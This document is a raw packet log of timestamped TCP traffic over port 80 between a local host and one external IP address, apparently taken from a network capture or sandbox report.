Apr 27, 2023 07:41:53.792861938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792905092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.792922020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792922020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.792943001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.792975903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.792993069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793001890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793020964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793061018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793095112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793108940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793128967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793159008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793178082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793335915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793431997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793476105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793548107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.793564081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.793637037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.794707060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.794764042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.794814110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.794828892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.794864893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.794876099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.794886112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.794934988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.794936895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.794981003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.795001030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.795037031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.795056105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.795089960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.795094013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.795137882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.795147896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.795191050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.795193911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.795239925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.795244932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.795290947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.796221972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.796267033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.796298981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.796324968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.796331882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.796375990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.796381950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.796427011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.796442986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.796480894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.798005104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.798109055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.798120022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.798161030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.798167944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.798213959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.798223972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.798264980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799540043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799587965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799642086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799659014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799659014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799698114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799707890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799746990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799767017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799803019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799848080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799853086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799899101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799899101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799905062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.799959898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.799959898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.800007105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.800009966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.800062895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.804946899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805011988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805033922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805063963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805071115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805113077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805123091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805157900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805166960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805213928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805217981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805258036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805278063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805314064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805315018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805365086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805368900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805417061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.805421114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.805466890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.808238983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.808336020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.808366060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.808381081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.808391094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.808435917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.808437109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.808482885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.808500051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.808546066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.809978008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.810039043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.810096979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.810101032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.810131073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.810142994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.810214043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.810214043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.811528921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.811592102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.811615944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.811649084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.811651945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.811697006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.811703920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.811750889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.813376904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.813433886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.813491106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.813528061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.813528061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.813536882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.813570976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.813625097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.818378925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.818495989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.818542957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.818546057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.818567038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.818600893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.818605900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.818648100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.818660975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.818706989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.820076942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.820142984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.820199013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.820245981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.820303917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.820395947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.823147058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.823194981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.823252916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.823283911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.823308945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.823358059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.823450089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.823450089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.823514938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.840150118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.840255022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.840297937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.840353012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.840400934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.840462923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.840550900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.843813896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.843883991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.843957901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.844003916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.844044924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.844103098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.845242023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.845310926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.845357895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.845413923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.845418930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.845468044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.845494032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.845537901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.845598936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.847230911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.847325087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.847413063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.847413063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.847491026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.847541094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.847605944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.847635984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.868885994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.869019985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.869112015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.869147062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.869185925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.869199038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.869199038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.869242907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.869266033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.869318962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.869970083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.870021105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.870085955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.870090961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.870116949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.870136976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.870167017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.870203972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.870213985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.870255947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.870279074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.870325089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.892654896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.892765045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.892822981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.892882109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.892921925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.892921925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.892921925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.893007994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.894364119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.894427061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.894496918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.894500017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.894500017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.894547939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.894565105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.894618034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.895639896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.895700932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.895762920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.895766020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.895822048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.895828962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.895828962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.895890951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.902044058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.902105093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.902168036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.902169943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.902224064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.902239084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.902239084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.902291059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.903723001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.903816938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.903846979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.903887033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.903893948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.903939962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.903954029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.904010057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.905479908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.905545950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.905580997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.905612946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.905615091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.905661106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.905740976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.905740976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.908574104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.908622026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.908685923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.908687115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.908747911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.908749104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.908755064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.908807993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.908823967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.908879995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.914119959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.914217949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.914263010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.914285898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.914314032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.914331913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.914333105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.914385080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.914402962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.914464951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.915364981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.915441990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.915503979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.915535927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.915550947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.915563107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.915579081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.915642977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.917241096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.917303085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.917340994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.917345047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.917381048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.917404890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.917406082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.917452097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.917467117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.917510986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.920233011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.920295954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.920340061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.920351982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.920388937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.920394897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.920439959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.920440912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.920481920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.920523882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.952984095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.953035116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.953124046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.953167915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.953182936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.953182936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.953182936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.953223944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.953237057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.953272104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.953283072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.953329086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.954619884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.954667091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.954703093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.954720974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.954725027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.954782009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.954782963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.954830885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.954843998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.954891920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.958215952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.958277941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.958317995 CEST	49697	80	192.168.2.3	85.192.63.15
